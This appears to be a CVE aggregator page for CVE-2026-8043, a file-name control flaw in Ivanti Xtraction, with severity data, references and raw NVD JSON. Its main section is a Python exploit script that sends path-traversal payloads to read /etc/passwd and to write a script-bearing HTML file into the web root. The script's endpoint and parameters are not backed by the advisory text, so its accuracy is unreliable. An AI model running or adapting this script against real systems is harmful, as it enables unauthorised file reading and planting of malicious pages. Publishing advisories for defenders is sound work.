CVE-2026-8043

Description

External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web directory, leading to information disclosure and possible client-side attacks.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Ivanti Xtraction < 2026.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-ip/api/export"
attacker_session = "valid_low_priv_session_cookie"

# Payload to read sensitive file using path traversal
# Attempting to read /etc/passwd
traversal_payload = {
    "filename": "../../../etc/passwd",
    "format": "text"
}

# Payload to write arbitrary HTML to web root
# Attempting to write a malicious HTML file
write_payload = {
    "filename": "../../wwwroot/malicious.html",
    "content": "<script>alert('XSS');</script>"
}

headers = {
    "Cookie": f"session_id={attacker_session}"
}

# Send Path Traversal Request
try:
    response_read = requests.post(target_url, data=traversal_payload, headers=headers)
    if response_read.status_code == 200:
        print("[+] File Read Successful:")
        print(response_read.text)
except Exception as e:
    print(f"[-] Error during read attempt: {e}")

# Send File Write Request
try:
    response_write = requests.post(target_url, data=write_payload, headers=headers)
    if response_write.status_code == 200:
        print("[+] Malicious File Written Successfully.")
except Exception as e:
    print(f"[-] Error during write attempt: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8043
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8043
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8043/
[4] VulDB https://vuldb.com/cve/CVE-2026-8043
[5] https://hub.ivanti.com/s/article/Security-Advisory---Ivanti-Xtraction-CVE-2026-8043?language=en_US

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8043", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2026-05-12T15:16:17.153", "lastModified": "2026-05-12T16:38:24.040", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web directory, leading to information disclosure and possible client-side attacks."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Primary", "description": [{"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://hub.ivanti.com/s/article/Security-Advisory---Ivanti-Xtraction-CVE-2026-8043?language=en_US", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75"}]}}